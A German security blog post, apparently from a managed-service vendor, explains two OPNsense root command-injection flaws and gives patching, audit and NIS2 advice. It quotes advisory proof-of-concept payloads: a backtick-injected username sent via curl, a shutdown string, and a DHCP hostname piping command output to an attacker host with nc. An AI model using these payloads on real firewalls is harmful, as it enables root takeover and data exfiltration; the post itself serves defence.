OPNsense als Managed Firewall — Patches in Stunden, NIS2-konform dokumentiert — WZ-IT übernimmt CVE-Monitoring, Patch-Einspielung und Konfigurations-Hardening auf eigener oder Ihrer Infrastruktur. Inklusive MFA-Pflicht, Berechtigungs-Audit und 24/7-Reaktion auf Critical-Advisories. Erstgespräch buchen · CVE-Monitoring · Server-Audit
Am 12. Mai 2026 hat das OPNsense-Team mit Version 26.1.8 zwei kritische Remote-Code-Execution-Lücken geschlossen. CVE-2026-44194 (CVSS 9.1, GitHub-Advisory GHSA-f59w-m967-9rf6) erlaubt einem authentifizierten User mit user-management-Berechtigung beliebige Code-Ausführung als root — über eine kreativ formatierte E-Mail-Adresse, die als Username angelegt wird. CVE-2026-45158 (Critical, GHSA-5rx3-w735-74wm) ermöglicht das Gleiche über einen manipulierten DHCP-Hostnamen, ausgelöst beim nächsten DHCP-Renewal. Beide PoCs sind öffentlich.
Das wäre für sich genommen ein normaler Patch-Tag. Bemerkenswert ist der Kontext: Es sind die dritte und vierte signifikante OPNsense-Lücke in zwölf Tagen. Am 30. April hatte das Projekt mit OPNsense 26.1.7 bereits CVE-2026-44193 (CVSS 9.1, RCE über die XMLRPC-Bibliothek) und CVE-2026-44195 (CVSS 5.3, Login-Lockout-Bypass) veröffentlicht. Davor, am 9. April, war eine CVSS-8.2-Lücke (LDAP-Injection bei der Anmeldung, CVE-2026-34578, CERT-Bund-Warnung WID-SEC-2026-1044) vor 26.1.6 bekanntgeworden. Macht in gut fünf Wochen fünf signifikante Schwachstellen, drei davon mit CVSS ≥ 9.
Dieser Beitrag ordnet ein, was die beiden neuen Lücken technisch tun, was die Häufung wirklich aussagt (Spoiler: nicht, dass OPNsense schlecht ist) und welche Konsequenzen sich für NIS2-pflichtige Unternehmen ergeben, für die das NIS2-Umsetzungsgesetz seit dem 6. Dezember 2025 ohne Übergangsfrist gilt.
Inhaltsverzeichnis
- CVE-2026-44194 und 45158 — der konkrete Anlass
- Wie die Angriffe technisch funktionieren
- Vier Lücken in zwölf Tagen: die Chronologie
- Was die Häufung wirklich aussagt
- Sofortmaßnahmen für OPNsense-Betreiber
- NIS2 und persönliche Geschäftsführer-Haftung
- Nachtrag vom 12. Oktober 2026
- Open Source ist nicht gleich Self-Hosting
- Unser Vorgehen bei WZ-IT
- Weiterführende Guides
CVE-2026-44194 und 45158 — der konkrete Anlass
OPNsense ist eine der wichtigsten Open-Source-Firewalls in Europa. Eingesetzt in tausenden Mittelstandsnetzen, Datacentern, Behördenumgebungen und Heim-Labs - häufig als souveräne und kostengünstige Alternative zu kommerziellen Appliances von Cisco, Fortinet, Sophos oder Palo Alto. Das niederländische Unternehmen Deciso BV sponsert das Projekt seit dem Fork aus pfSense im Jahr 2015; der Core liegt vollständig auf GitHub. Im Mai 2026 hat das Projekt zwei kritische Patches innerhalb von zwölf Tagen veröffentlicht - den zweiten am 12. Mai mit OPNsense 26.1.8.
CVE-2026-44194 — RCE über User-Management (CVSS 9.1)
GitHub Advisory GHSA-f59w-m967-9rf6, gemeldet vom Forscher sopex. Der CVSS-Vector ist CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H — netzwerkbasiert, niedrige Angriffskomplexität, High-Privilege-User (user-management-Berechtigung), keine User-Interaktion, Scope Changed.
Die Lücke sitzt in core/src/opnsense/scripts/auth/sync_user.php. Wenn ein User angelegt oder geändert wird, ruft das Script pluginctl per Shell-Befehl auf und übergibt dabei den Username ungefiltert. Während Web-UI und API für gewöhnliche Usernames eine Eingabevalidierung durchführen, lässt OPNsense E-Mail-Adressen als Usernames zu. Im Local-Part einer E-Mail-Adresse erlaubt RFC 5321 quoted strings — und in Anführungszeichen sind nahezu alle Zeichen syntaktisch legal, auch Backticks, Semikolons, Pipes und Klammern.
Beleg aus dem Advisory:
curl -k -u <api_key> \
-H 'Content-Type: application/json' \
-X POST http://<IP>/api/auth/user/add/ \
-d '{"user": {"name": "\"`id>/conf/proof.txt`\"@example.com", ...}}'
# Ergebnis in /conf/proof.txt:
# uid=0(root) gid=0(wheel) groups=0(wheel)
Sogar Shutdown ist möglich: Ein Username der Form "\"/sbin/shutdown${IFS}-p${IFS}now\"@example.com" schaltet die Firewall remote ab. ${IFS} ersetzt Leerzeichen, weil normale Spaces vom Befehls-Parser aufgesplittet würden.
Das Scope Changed-Attribut ist die eigentliche Sprengkraft. Ein delegierter Account mit nur user-management-Berechtigung — typisch für Junior-Admins oder Helpdesk-Rollen — erreicht damit Vollzugriff auf das gesamte System.
CVE-2026-45158 — Command Injection über DHCP-Hostname
GitHub Advisory GHSA-5rx3-w735-74wm, gemeldet von Kchigo, eingestuft als Critical. Die Lücke sitzt in src/etc/inc/interfaces.inc, in der interface_dhcp_configure()-Funktion. Wer im Web-UI die page-interfaces-Berechtigung hat, kann für ein DHCP-Interface einen Hostnamen vergeben. Dieser Hostname wird ohne Sanitization in die dhclient-Konfigurationsdatei /var/etc/dhclient.<device>.conf geschrieben.
Beispiel-Payload für den Hostnamen:
test"; media "aa; id | nc <attacker-ip> <attacker-port>"; } /*
Die resultierende dhclient.conf (vereinfacht):
interface "em0" {
...
send host-name "test";
media "aa; id | nc 1.2.3.4 4444";
} /* ... ab hier auskommentiert
Beim nächsten DHCP-Lease-Renewal ruft dhclient das dhclient-script mit media=aa; id | nc 1.2.3.4 4444 als Environment-Variable auf. Das Script führt das in einem eval-Statement mit ifconfig aus — der injizierte Befehl landet im Shell-Kontext und läuft als root. Trigger ist entweder der "Apply"-Button im Web-UI oder ein DHCP-Renewal beim nächsten Reboot oder Lease-Ablauf. Eine Zeitbombe also: Wer die Konfiguration kompromittiert hat und seine Spuren verwischen will, kann auf den natürlichen Renewal warten.
Beide Lücken fallen klassenmäßig in CWE-78 (OS Command Injection) und CWE-88 (Argument Injection) — die OWASP-Familie, die seit zwei Jahrzehnten als gut verstanden gilt. Dass sie in einer aktiv gepflegten Codebasis wie OPNsense gleichzeitig in zwei unabhängigen Pfaden auftauchen, ist bemerkenswert.
Wie die Angriffe technisch funktionieren
Beide Lücken sind im Kern derselbe Bug-Klassiker: fehlende Trennung von Daten und Code. Nur die Einlieferungsoberflächen unterscheiden sich.
Deepdive 1: Der E-Mail-Trick in 44194
Die Spannung liegt zwischen Spezifikation und Implementierung. RFC 5321/5322 erlaubt im Local-Part einer E-Mail-Adresse quoted strings — "hallo welt"@example.com ist syntaktisch valide, ebenso "a;b"@example.com oder "cmd"@example.com. OPNsense akzeptiert E-Mail-Adressen als Usernames (eine bewusste Designentscheidung, weil viele User ihre E-Mail-Adresse als Login bevorzugen). Die UI-Validierung prüft auf RFC-Konformität; das passt.
Die Lücke entsteht weiter unten, beim Shell-Aufruf:
mwexecf('/usr/local/sbin/pluginctl -c user_changed ' . $username);
Das . ist die PHP-Konkatenation. Der Username wird direkt an den Befehlsstring angehängt, ohne Argument-Trennung, ohne Escaping. Die Shell sieht Backticks und führt deren Inhalt aus, bevor pluginctl überhaupt startet. Weil pluginctl als root läuft, läuft auch der injizierte Code als root.
Der Patch in 26.1.8 nutzt die %s-Notation mit Argument-Array:
mwexecf('/usr/local/sbin/pluginctl -c user_changed %s', [$username]);
Das ist die textbook-richtige Lösung: $username wird als separates Argument übergeben und nicht in den Shell-String interpoliert. Der Sicherheits-Lapsus war nicht die fehlende Validierung am UI-Layer (die existierte und war korrekt), sondern das fehlende Escaping am Ort der Verwendung.
Deepdive 2: DHCP als Code-Execution-Vektor in 45158
Die zweite Lücke folgt demselben Grundmuster, ist aber komplexer in der Ausnutzung. Wo es sitzt: In interface_dhcp_configure() wird die dhclient.conf aufgebaut, der Hostname direkt interpoliert:
if (!empty($wancfg['dhcphostname'])) {
$dhclientconf_hostname = "send dhcp-client-identifier \"{$wancfg['dhcphostname']}\";\n";
$dhclientconf_hostname .= "\tsend host-name \"{$wancfg['dhcphostname']}\";\n";
}
Naiv betrachtet ist das eine harmlose String-Interpolation in eine Konfigurationsdatei. Tatsächlich ist die dhclient.conf aber keine reine Daten-Datei. Sie kann Parameter enthalten (media, request, require, …), die später als Shell-Variablen an das dhclient-script weitergegeben werden — und dieses Script benutzt eval mit dem Wert. Im "Advanced Mode" lässt sich der Hostname so manipulieren, dass er aus dem send host-name-Statement ausbricht und einen media-Parameter setzt, der wiederum Shell-Code transportiert.
Die Lehre aus beiden Fällen: Konfigurationsdateien sind keine passiven Daten. Wenn nachgelagerte Tools deren Werte in Shell-Kontexten verwenden, muss jede Eingabe in die Konfigurationsdatei behandelt werden, als würde sie direkt einem Shell-Befehl übergeben.
Vier Lücken in zwölf Tagen: die Chronologie
Was die Veröffentlichung über reine Tagesnews hinaushebt, ist der Kontext.
| Datum | CVE | Schweregrad | Vektor |
|---|---|---|---|
| 09. April 2026 | CVE-2026-34578 (CERT-Bund WID-SEC-2026-1044) | High (CVSS 8.2) | LDAP-Injection bei der Anmeldung, vor 26.1.6 |
| 30. April 2026 | CVE-2026-44193 | Critical (CVSS 9.1) | RCE via XMLRPC restore_config_section |
| 30. April 2026 | CVE-2026-44195 | Medium (CVSS 5.3) | Login-Lockout-Bypass via Regex-Reihenfolge |
| 12. Mai 2026 | CVE-2026-44194 | Critical (CVSS 9.1) | RCE via User-Management (E-Mail-Trick) |
| 12. Mai 2026 | CVE-2026-45158 | Critical | RCE via DHCP-Hostname Argument Injection |
Drei Critical-CVEs (44193, 44194, 45158) plus eine Medium (44195) plus eine April-Info-Disclosure. Wer OPNsense im Frühjahr 2026 produktiv betreibt, hat innerhalb von zwölf Tagen zwei Notfall-Patches einspielen müssen. Wer auch Anfang April nicht gepatched hatte, schleppt fünf Lücken durch den Mai.
Was die Häufung wirklich aussagt
Bevor jetzt der Reflex einsetzt, OPNsense sei "unsicher": Das wäre die falsche Schlussfolgerung. Die Lage zeigt zwei Dinge gleichzeitig.
Was OPNsense richtig macht. Patches sind innerhalb von Stunden bis Tagen verfügbar. Die GitHub Security Advisories enthalten vollständige Root-Cause-Analysen mit funktionsfähigen PoCs — ein Transparenz-Niveau, das kommerzielle Vendor-Disclosures selten erreichen. Externe Forscher (sopex, Kchigo) bekommen Credit und arbeiten kooperativ. Der Release-Cycle ist mit halbjährlichen Major-Releases und biweekly Minor-Updates aggressiv. Die Codebasis liegt vollständig auf GitHub; jeder kann jeden Commit nachvollziehen.
Was Self-Hosting in dieser Geschwindigkeit kostet. Wer OPNsense im Mai 2026 selbst betreibt, hat zwei Notfall-Patches in zwölf Tagen, plus Audit der Berechtigungen, plus Rotation der API-Keys, plus Log-Review. Ohne automatisiertes Patch-Management und ohne dokumentierte Reaktionsroutine fällt mindestens einer der Schritte unter den Tisch. Bei einer Firewall ist eine verpasste Lücke nicht "ein Server unter vielen" - sie ist der zentrale Beobachtungspunkt des Netzwerks, mit Zugriff auf TLS-Termination, VPN-Tunnel und Auth-Logs.
Was sich strukturell verändert hat. Vulnerability Discovery hat sich in den letzten 18 Monaten massiv beschleunigt. KI-gestützte Code-Analyse macht es Forschern — und Angreifern — leichter, ältere Codestellen mit subtilen Lücken aufzuspüren. Dieselbe Beschleunigung sehen wir bei Linux-Kernel-Lücken (Copy Fail, Dirty Frag, Pack2TheRoot — letztere KI-gestützt entdeckt), bei cPanel CVE-2026-41940, bei Cisco ASA / ArcaneDoor und bei Ollama (Bleeding Llama). Open Source hat dabei den Vorteil schneller, transparenter Patches; den Nachteil, dass das Einspielen beim Betreiber liegt.
Sofortmaßnahmen für OPNsense-Betreiber
1. Versionsstand prüfen. Im Web-UI unter System → Firmware → Status oder per CLI:
opnsense-version
Verwundbar sind alle Versionen ≤ 26.1.7, Community wie Business Edition.
2. Update auf 26.1.8 einspielen.
opnsense-update -vkr 26.1.8
Oder im Web-UI über System → Firmware → Updates. Bei Cluster-Setups (CARP-HA): erst Slave, dann Master, mit kurzem Stabilitätsfenster dazwischen.
3. Berechtigungen auditieren. Im Web-UI unter System → Access → Users die Nutzer auflisten und prüfen:
- Wer hat
user-management? (Voraussetzung für CVE-2026-44194) - Wer hat
page-interfaces? (Voraussetzung für CVE-2026-45158) - Wer hat XMLRPC-API-Zugang mit
restore_config_section? (Voraussetzung für die ältere CVE-2026-44193)
Diese Berechtigungen sollten nach dem Prinzip least privilege nur einem klar definierten Personenkreis zugeordnet sein — keine Auszubildenden, keine externen Dienstleister, keine "Helpdesk-Vollzugriff"-Sammelaccounts.
4. API-Keys rotieren. Insbesondere wenn der XMLRPC-Endpoint im Mai 2026 aus dem Netz erreichbar war. CVE-2026-44193 war partiell auch über exponierte API-Schnittstellen ausnutzbar.
5. Logs prüfen. Auf:
- Verdächtige
/api/auth/user/add-Aufrufe mit ungewöhnlichen Usernames (Backticks, Quotes, Pipes im Namen) - Ungewöhnliche DHCP-Hostname-Änderungen mit verdächtigen Inhalten
- Ausgehende Verbindungen von der Firewall selbst auf unbekannte IPs (Indikator für Reverse-Shell)
- Neue Cron-Jobs oder Persistence-Mechanismen unter
/conf/oder/usr/local/etc/rc.conf.d/
6. Web-GUI niemals unsegmentiert im Internet exponieren. Eigentlich immer wahr, jetzt erst recht. Management-Zugriff über VPN, Geo-Block für die Management-Range, MFA für alle Admin-Accounts.
7. Backup der Konfiguration nehmen — vor dem Patch. Im Web-UI unter System → Configuration → Backups. Damit ein Rollback möglich ist, falls 26.1.8 Regressions hat (im Briefing nicht dokumentiert, aber bei Notfall-Releases nicht ausgeschlossen).
8. Bei Verdacht auf Kompromittierung: Reinstall. Eine kompromittierte Firewall mit Root-Zugriff für den Angreifer ist nicht zuverlässig zu reinigen. Saubere Neuinstallation aus dem letzten vertrauenswürdigen Konfigurations-Backup, dann alle Credentials der dahinter laufenden Systeme rotieren.
NIS2 und persönliche Geschäftsführer-Haftung
Die deutsche NIS2-Umsetzung wirkt im konkreten OPNsense-Fall an drei Stellen.
Artikel 21 — Cybersicherheits-Risikomanagement. Verpflichtet wesentliche und wichtige Einrichtungen zu dokumentierten Maßnahmen, explizit inklusive Schwachstellen- und Patch-Management (Buchstabe e), Cyberhygiene (Buchstabe g) und Lieferanten-Risikomanagement (Buchstabe d). Eine Firewall, die mehrere Wochen mit bekannten CVSS-9.1-Lücken läuft, weil keine Patch-SLA existiert, erfüllt diese Vorgaben nicht.
Artikel 23 — Meldepflichten. Frühwarnung binnen 24 Stunden, vollständiger Bericht binnen 72 Stunden bei "erheblichem" Sicherheitsvorfall. Massenkompromittierung über CVE-2026-44194 mit Datenabfluss oder Lateral-Movement aus der Firewall ins interne Netz erfüllt das Kriterium spätestens, wenn der Angreifer Auth-Logs oder TLS-Termination missbraucht hat.
Haftung. Bußgelder gegen die Einrichtung bis 10 Millionen Euro oder 2 Prozent des weltweiten Konzernumsatzes (§ 65 BSIG). Die Geschäftsleitung haftet gegenüber dem Unternehmen für schuldhaft verursachte Schäden (§ 38 Abs. 2 BSIG), eine zivilrechtliche Innenhaftung. Wer dokumentieren kann, dass ein Patch-Workflow existierte und im konkreten Fall fristgerecht ausgelöst wurde, steht im Audit gut da. Wer das nicht kann, hat ein Problem.
Das NIS2-Umsetzungsgesetz gilt seit dem 6. Dezember 2025 ohne Übergangsfrist. Ein Pre-Audit-Befund "OPNsense ungepatched zwei Wochen nach CVE-2026-44194-Disclosure" wird in den NIS2-Compliance-Reviews dieses Jahres zum Standardpunkt.
Nachtrag vom 12. Oktober 2026
- Korrektur zur Chronologie. Die Advisories zu CVE-2026-44193 und CVE-2026-44195 erschienen bereits am 30. April 2026 zusammen mit OPNsense 26.1.7; die NVD veröffentlichte die CVE-Einträge am 13. Mai 2026. Zwischen den beiden Patch-Releases lagen damit zwölf Tage, nicht sieben. Titel, Chronologie und Zwischenüberschrift sind entsprechend korrigiert; die frühere Angabe zu Scanning-Zahlen nach der Cisco-ASA-Disclosure 2025 haben wir mangels belastbarer Quelle entfernt.
- Weitere kritische Lücken nach 26.1.8. CVE-2026-53581 (CVSS 9.0, Pfad-Traversal im NTP-Modul mit Schreibrechten als root) ist in 26.1.9 vom 2. Juni 2026 behoben. Eine Root-Codeausführung über den GeoIP-Alias-Import (GHSA-wjqq-rfmm-v5h3, CVSS 9.9) sowie weitere hoch eingestufte Lücken sind in 26.1.11 vom 1. Juli 2026 behoben. Alle Lücken setzen einen angemeldeten Benutzer mit passenden Rechten voraus.
- Neue Hauptversion. Am 15. Juli 2026 erschien OPNsense 26.7; aktuell ist Stand 12. Oktober 2026 die Version 26.7.6 vom 8. Oktober 2026. Wer noch auf 26.1.8 steht, sollte auf die aktuelle 26.7-Version aktualisieren.
- Keine bekannte Ausnutzung. Keine der genannten OPNsense-Lücken steht Stand 12. Oktober 2026 im CISA-KEV-Katalog.
Open Source ist nicht gleich Self-Hosting
Eine der wichtigsten Klärungen, die aus der aktuellen Lage folgt: Open Source heißt nicht, dass man die Software selbst betreiben muss. Wer OPNsense aus DSGVO- und Souveränitätsgründen ausgewählt hat, bekommt diese Souveränität auch dann, wenn ein dritter Partner den Betrieb übernimmt — solange dieser Partner in der EU sitzt, auf EU-Infrastruktur arbeitet und die Konfigurations- und Patch-Hoheit beim Kunden bleibt.
Die Alternative, in einer Cisco-ASA- oder Fortinet-FortiGate-Welt nach den jüngsten Vorfällen (ArcaneDoor mit FIRESTARTER-Bootkit, das selbst gepatchte Systeme weiter kompromittiert hält), ist nicht offensichtlich besser: Kommerzielle Firewall-Vendor-Disclosures sind regelmäßig später und weniger transparent als die OPNsense-Advisories, die Patches kommen oft monatlich statt biweekly, und das Vendor-Lock-in ist deutlich tiefer (siehe unsere ausführliche Cisco-ASA / ArcaneDoor-Analyse). Die strukturelle Frage löst sich durch einen Wechsel zu kommerziellen Appliances nicht; sie wird nur in eine andere Risikoklasse verschoben.
Wer OPNsense behalten und den Betriebs-Overhead nicht selbst tragen will, hat eine pragmatische Option: Managed Service mit dokumentiertem Patch-SLA.
Unser Vorgehen bei WZ-IT
Wir betreiben OPNsense als Managed Service auf eigener Infrastruktur in Deutschland oder direkt auf Kunden-Hardware — je nach Anforderung. Bestandteil sind:
Automatisiertes CVE-Monitoring. Tägliche Prüfung gegen GitHub Security Advisories, CERT-Bund-, BSI- und NVD-Feeds plus vendor-spezifische Quellen. Beide Mai-12-CVEs wären bei unseren Kunden innerhalb von Stunden mitigiert gewesen — entweder durch sofortigen Patch auf 26.1.8 oder durch Berechtigungs-Reduktion bis zur Verifikation. Dokumentation jeder Reaktion als Anlage zur NIS2-Risikomanagement-Doku. Mehr dazu in unserem CVE-Monitoring-Service.
Hardening-konforme Default-Konfiguration. Web-GUI niemals internet-exponiert (Zugang nur über VPN — typischerweise WireGuard via NetBird), MFA-Pflicht für alle Admin-Accounts, granulares Role-Based-Access mit least privilege, kein gemeinsamer "Helpdesk-Vollzugriff"-Account, separate Read-Only-Accounts für Monitoring-Anbindung.
Konfigurations-Backups mit Object Lock. Tägliche verschlüsselte Snapshots der OPNsense-Konfiguration nach unserer 3-2-1-1-0-Strategie, mit Object-Lock-immutable Offsite-Replikation. Damit ist nicht nur die Wiederherstellung nach einem Hardware-Defekt gesichert, sondern auch die Rückkehr zu einem nachweislich nicht-kompromittierten Konfigurationsstand im Incident-Fall.
Migration aus klassischen Firewall-Appliances. Cisco ASA, Fortinet FortiGate, Sophos XG/UTM, pfSense — wir haben für jeden Ausgangspunkt ein Migrations-Runbook und einen Parallelbetriebs-Pfad während des Cutovers. Bei NIS2-relevanten Setups dokumentieren wir die Migration als Anlage zur Risikomanagement-Doku.
Konkret im Bleeding-Edge-Fall. Wer aktuell auf einer ungepatched OPNsense ≤ 26.1.7 sitzt und unsicher ist, ob Kompromittierung vorlag: Wir übernehmen kurzfristig den Incident-Response-Prozess (Forensik, Log-Sicherung, Berechtigungs-Audit, Reinstall aus Pre-Mai-Backup), inklusive der NIS2-konformen Dokumentation.
Weiterführende Guides
- CVE-Monitoring als Managed Service — automatisierte Reaktion auf GitHub-Advisories, NVD, CISA-KEV, CERT-Bund und BSI-Feeds
- Server-Audit - Einmal-Audit einer Standard-Linux-Instanz für Sicherheit, Updates, Backups und Betrieb, ab 290 € netto. Gilt für die Linux-Server hinter der Firewall, nicht für die Firewall selbst.
- OPNsense-Firewall betreuen lassen - laufende Betreuung der Firewall selbst: Updates, Regelwerk und Überwachung
- Linux-Patch-Management: Prozess, Fristen und Nachweis - Ratgeber für den Patch-Prozess der Server hinter der Firewall
- Cisco ASA, ArcaneDoor & CVE-2025-20362 — moderner VPN-Stack — was Edge-Appliances strukturell unterscheidet
- NetBird Managed Service — Zero-Trust-VPN als Alternative oder Ergänzung zur Firewall-VPN
- Linux-Kernel-Schwachstellen 2026 — Patch-Management Chefsache — NIS2-Kontext und Geschäftsführer-Haftung
- cPanel CVE-2026-41940 — Massenhack und souveränes Hosting — gleiches Muster bei Hosting-Panels
- Bleeding Llama (CVE-2026-7482) — gleiches Muster bei Self-Hosted-AI
- Proxmox Backup Server Offsite — ransomware-sichere Pull-Architektur — Konfigurations-Backup-Strategie
Sie betreiben OPNsense, pfSense oder eine kommerzielle Firewall und fragen sich, ob Ihr Patch-Prozess einer Prüfung standhält? Im Erstgespräch ordnen wir ein, wo er trägt und wo nicht. Übernehmen können wir den Betrieb Ihrer OPNsense, CVE-Monitoring mit automatisierter Auswertung von GitHub-Advisories, NVD, CISA-KEV, CERT-Bund und BSI - und für die Linux-Server hinter der Firewall den Server-Audit ab 290 € netto.
